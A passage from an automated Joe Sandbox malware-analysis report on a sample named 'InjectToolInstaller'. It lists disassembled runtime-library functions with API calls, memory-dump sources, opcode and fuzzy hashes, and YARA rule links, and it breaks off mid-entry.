Opcode ID: 499783566c157c0c8d3e4916adefea3cc1703777228fb497ee7a3f47551c495c
Instruction ID: a2c37d09aa25c042f1bb91940785822fb11cdada7e3a0873bd5abfe960042e8b
Opcode Fuzzy Hash: 499783566c157c0c8d3e4916adefea3cc1703777228fb497ee7a3f47551c495c
Instruction Fuzzy Hash: 81F0F671640228B7CB116F76DC0AEAE3FB9EB24710F01412DFD05172D0CA715D109B94

Uniqueness

Uniqueness Score: -1.00%

Function 013E663E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 013E667D

Strings

GetSystemTimePreciseAsFileTime, xrefs: 013E664F, 013E6659

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 48edc0526639589a5a4758155b9ebeec4a028e599c8d19e32a1c0d4af1d1e16b
Instruction ID: 5703285fc7a7fe3355d350c0dd00d81805a6963ca6fc985901836936ab535ece
Opcode Fuzzy Hash: 48edc0526639589a5a4758155b9ebeec4a028e599c8d19e32a1c0d4af1d1e16b
Instruction Fuzzy Hash: E0E0A0B1B412287BC2217F66EC4AD6E7FA8DB64B20F12017EB90557290DA705D008A91

Uniqueness

Uniqueness Score: -1.00%

Function 013F4A20 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398ebc12053bd17d4e9d2e1ffe245c7a946317af67a35a16386b47f407175e31
Instruction ID: 027e71c86c34e8d2b47d30566d17cf4dac872daa2042e26cbff92da917a3042a
Opcode Fuzzy Hash: 398ebc12053bd17d4e9d2e1ffe245c7a946317af67a35a16386b47f407175e31
Instruction Fuzzy Hash: 4C021D71E002199BDF14CFADD9806AEBBF5FF88328F15416DDA19E7385D731A9418B80

Uniqueness

Uniqueness Score: -1.00%

Function 013EC7DC Relevance: 3.2, APIs: 2, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,013D06C9,?,?,?,?,?,?,00000000), ref: 013EC8BE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,013D06C9,00000000,013D07E9), ref: 013EC9FF

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 1661935332-0
Opcode ID: 1879380d3895ef07031ab4fb3b20d1d3433feefaa4c443c2ecd4d00bf3b636df
Instruction ID: c91a66b3d0fc44cc967e9ddcaccc48d8f12bbc917fa7ee8729658e2c58684a8a
Opcode Fuzzy Hash: 1879380d3895ef07031ab4fb3b20d1d3433feefaa4c443c2ecd4d00bf3b636df
Instruction Fuzzy Hash: F861F771600326AAE725AB3DCC49ABF7BECEF15718F14152AFA45DB1C0EB30E9408760

Uniqueness

Uniqueness Score: -1.00%

Function 013F359C Relevance: 2.8, APIs: 1, Instructions: 1301COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 013F3626

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 65117170979719c6e7a3c7300ea200822e8b3f23a7bc61741d5ff2304763acfe
Instruction ID: d57d61088cf27c3fbc10a2ba7dce12fc3735b642f3c431342d3e774615c19811
Opcode Fuzzy Hash: 65117170979719c6e7a3c7300ea200822e8b3f23a7bc61741d5ff2304763acfe
Instruction Fuzzy Hash: ABB227B1E086298FDB25CE28DD407EAB7B9EB44309F1441EED64DE7241E774AE858F40

Uniqueness

Uniqueness Score: -1.00%

Function 013FAB22 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,013FAB1D,?,?,00000008,?,?,013FA6A8,00000000), ref: 013FAD4F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4266b91b6be3796790baa3fb6164d9bb01ef3f59d4a5e1e9f5879b9973c0c328
Instruction ID: e6d22c6b785735b7bfa91c6a57f1fc72fb70e1c82474e9a2ba13d58ef20216e5
Opcode Fuzzy Hash: 4266b91b6be3796790baa3fb6164d9bb01ef3f59d4a5e1e9f5879b9973c0c328
Instruction Fuzzy Hash: 6DB139316106099FEB19CF2CC49AB657BE0FF05369F25865CEA99CF2A1C335D982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013C0EDF Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 013C0EF8

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6d715cedf1b96718f5d1e2eec2dfbba1a0b77c45dbfcb9adbe4333e9071ea7ad
Instruction ID: 165c3bd8b0cd110cbcc028fe05a3b958008b9791484da2ea373d0ca4a0399020
Opcode Fuzzy Hash: 6d715cedf1b96718f5d1e2eec2dfbba1a0b77c45dbfcb9adbe4333e9071ea7ad
Instruction Fuzzy Hash: 0751C1B2E04246CBEB28CF69E58569ABFF4FB04B08F10806EE505E7255D3749984CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013ECE35 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A2A
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A37

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 013ECE89

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 3206e8456e203b6a824ac0c021a528c2599562d1216c28050fcb877cf9497eb5
Instruction ID: 98f97bb4bdd95626126659a8a18e76a88b1313a2037fdc9fe08ec831942318e4
Opcode Fuzzy Hash: 3206e8456e203b6a824ac0c021a528c2599562d1216c28050fcb877cf9497eb5
Instruction Fuzzy Hash: 4821C23251036BABEB24AE28DC49BBA77ECEB41359F10117AED05E75C0EB34A950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013ECABD Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

EnumSystemLocalesW.KERNEL32(013ECBE5,00000001,00000000,?,013D06C2,?,013ED212,00000000,?,?,?), ref: 013ECB2F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 1ab97f3588829f54251230184d47dea534b479b980e3925ec12d0ba5e0536792
Instruction ID: 19e9fea844b239c2eeec28a57084df90a01a36ad1f81c02ce1df8ceb70d731e2
Opcode Fuzzy Hash: 1ab97f3588829f54251230184d47dea534b479b980e3925ec12d0ba5e0536792
Instruction Fuzzy Hash: 6411E33A6007069FDF189E3988945BAB792FB8432CB14442CD98687B80D3716442D740

Uniqueness

Uniqueness Score: -1.00%

Function 013ED065 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,013ECE03,00000000,00000000,?), ref: 013ED091

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 8463cd5fe10687f4caba20d3449e75e9a005cb86767b668c30d05210a3b50cb5
Instruction ID: 30dde8e866aae927ebc9b5cd0b92feb0893002d626dc803be5018d1f8f082cf4
Opcode Fuzzy Hash: 8463cd5fe10687f4caba20d3449e75e9a005cb86767b668c30d05210a3b50cb5
Instruction Fuzzy Hash: CBF0FE32510336ABDB345A68C84D7BA7FD8DB4135CF080569ED05A31C0DA31BE428690

Uniqueness

Uniqueness Score: -1.00%

Function 013ECB58 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

EnumSystemLocalesW.KERNEL32(013ECE35,00000001,00000000,?,013D06C2,?,013ED1D6,013D06C2,?,?,?,?,?,013D06C2,?,?), ref: 013ECBA4

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 418d4d0e13b83f273bf608e8cae12c5dd72232c58489e9daa1282ecd5089813c
Instruction ID: f1c97077fa48bda3b7bedc36a717bb1caf922c5682cf6fb3fc2abd172d9da17f
Opcode Fuzzy Hash: 418d4d0e13b83f273bf608e8cae12c5dd72232c58489e9daa1282ecd5089813c
Instruction Fuzzy Hash: 3CF022362003165FDF255E3D9C88A6A7BE5EF8232CB04442DEA468B780D6B1A802D600

Uniqueness

Uniqueness Score: -1.00%

Function 013E5B84 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 013E9792: EnterCriticalSection.KERNEL32(?,?,013E5461,?,0140DDF8,00000008,013E552F,?,?,?), ref: 013E97A1

EnumSystemLocalesW.KERNEL32(013E5B26,00000001,0140DE78,0000000C), ref: 013E5BBC

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 306241c9a2e6423a3a880a67c95863423174ed343d055ed11d1a2f737ea30897
Instruction ID: c421673c4993726f2205def30109b90ec3a9ea944c2dd79c210de30b76d62054
Opcode Fuzzy Hash: 306241c9a2e6423a3a880a67c95863423174ed343d055ed11d1a2f737ea30897
Instruction Fuzzy Hash: EDF04F76A50311EFDB10EF6CE889B4D37E0EB14728F108219F510DB2E4DB7449408F40

Uniqueness

Uniqueness Score: -1.00%

Function 013ECA54 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

EnumSystemLocalesW.KERNEL32(013EC9AB,00000001,00000000,?,?,013ED234,013D06C2,?,?,?,?,?,013D06C2,?,?,?), ref: 013ECA8B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: b6502ee697fcb373d17e3dfefa0137649b2843a3aa0288179813bca9bd1192e2
Instruction ID: 4f2df470692fe0793e9ee6e54835fdeb5d011d4e2b3ba21603bdb4e58d88c4c5
Opcode Fuzzy Hash: b6502ee697fcb373d17e3dfefa0137649b2843a3aa0288179813bca9bd1192e2
Instruction Fuzzy Hash: A3F0E53A30031557DB159F3AD88966ABFD4EFC2B68B06405CFA068B281C671D943C750

Uniqueness

Uniqueness Score: -1.00%

Function 013E5CE4 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_00045B26,00000001), ref: 013E5D06

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 15cf4f4499d551909dc395d89fa6df9dc0724cf2c0ef5c2c73b39f475cd39fa9
Instruction ID: 59fe2e753a3692f974c64ce74306968f1ef6f364922b2c7e1e2def4b5de7bc2f
Opcode Fuzzy Hash: 15cf4f4499d551909dc395d89fa6df9dc0724cf2c0ef5c2c73b39f475cd39fa9
Instruction Fuzzy Hash: 23E068761003006FDB24CF36FC59A013F5793C0310B10826DF5484F29DCB700082C744

Uniqueness

Uniqueness Score: -1.00%

Function 013E5CA0 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_00045B26,00000001), ref: 013E5CBE

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 5d7688d27e579ecd36f92d2c5d08c84e67459d63bed62c907d8fa1cdfa0866d8
Instruction ID: 866fddaa5e0f69b84e9ef72fe044a28cc64ccb34fcc336b7063d22d9398c195e
Opcode Fuzzy Hash: 5d7688d27e579ecd36f92d2c5d08c84e67459d63bed62c907d8fa1cdfa0866d8
Instruction Fuzzy Hash: 90E0DFB2210300AFDB28CF39F8A9A013FA2A781304B5082ADF5408F2ACCB710082CB04

Uniqueness

Uniqueness Score: -1.00%

Function 013E5CEC Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_00045B26,00000001), ref: 013E5D06

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 118f397699f08dd0e19335f826c4a1011d1dd38014ad122449609b43849c775c
Instruction ID: 816cf4ae201b645b2aafe3d35506f07ecd51eaf13c0be07f07413c70732ef289
Opcode Fuzzy Hash: 118f397699f08dd0e19335f826c4a1011d1dd38014ad122449609b43849c775c
Instruction Fuzzy Hash: D9E08676510300ABEB28DF26F94AE053B57E3C0724F118219F9054B29CDBB154818740

Uniqueness

Uniqueness Score: -1.00%

Function 013E7CAD Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FindFirstFileExA.KERNEL32(?,?,?,?,?,?), ref: 013E7CD0

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 146414113a05e2a9969b0ab6f240a33e2b4cb9489f23d1b960de53eee995a16f
Instruction ID: a0b7993c321a0f8aaa9649bb5e5b68e194776f6db8beef2cfd834e909a4d361b
Opcode Fuzzy Hash: 146414113a05e2a9969b0ab6f240a33e2b4cb9489f23d1b960de53eee995a16f
Instruction Fuzzy Hash: 2BE07E3A100649EFCF11DF89D985C993BA6FF4E750B044094FA158B230C732E961EB51

Uniqueness

Uniqueness Score: -1.00%

Function 013E7CD8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,?,?,?,?,?), ref: 013E7CFB

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 01ec82e6dc2fff48b3b1547175b38ce2bd4c9a4f25d8446ee8d95fa251c2fa76
Instruction ID: 49d6ff871b4aa19a7e3161e94ef19448a0a258ba7f652994d733c25fa4dd79b8
Opcode Fuzzy Hash: 01ec82e6dc2fff48b3b1547175b38ce2bd4c9a4f25d8446ee8d95fa251c2fa76
Instruction Fuzzy Hash: E4E07E3A100649EFCF11DF89D845C993BA6FB4E750B444094FA158B230C732E961EB51

Uniqueness

Uniqueness Score: -1.00%

Function 013DB6E0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0, xrefs: 013DB85B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 4e69424a8a260b18c229b182024f094b3a8627e1cb2040778de658cf1ef2747e
Instruction ID: 223407015c0e6d24ae5550a4c466786b4a0f16daf9d3d9f037d4743658045412
Opcode Fuzzy Hash: 4e69424a8a260b18c229b182024f094b3a8627e1cb2040778de658cf1ef2747e
Instruction Fuzzy Hash: 9F517C73A0078A5BEF38496CB4A57BEEFD99F1314CF0F0419D682CB689C605D6058352

Uniqueness

Uniqueness Score: -1.00%

Function 013DBD78 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0, xrefs: 013DBEF3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 320de0ed74a035b11c50bf71439c452361f89d07a1b1727b0928db6b251af27a
Instruction ID: 97eb7f8c5daeb685f142725a91c2c2e544c29189bebfa343e256825f48858bdb
Opcode Fuzzy Hash: 320de0ed74a035b11c50bf71439c452361f89d07a1b1727b0928db6b251af27a
Instruction Fuzzy Hash: 0151BA3360074987EB394D7CB465BBEEBCD9F1320CF0A084AE78AC728AC722D5058752

Uniqueness

Uniqueness Score: -1.00%

Function 013DB4B1 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 013DB621

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

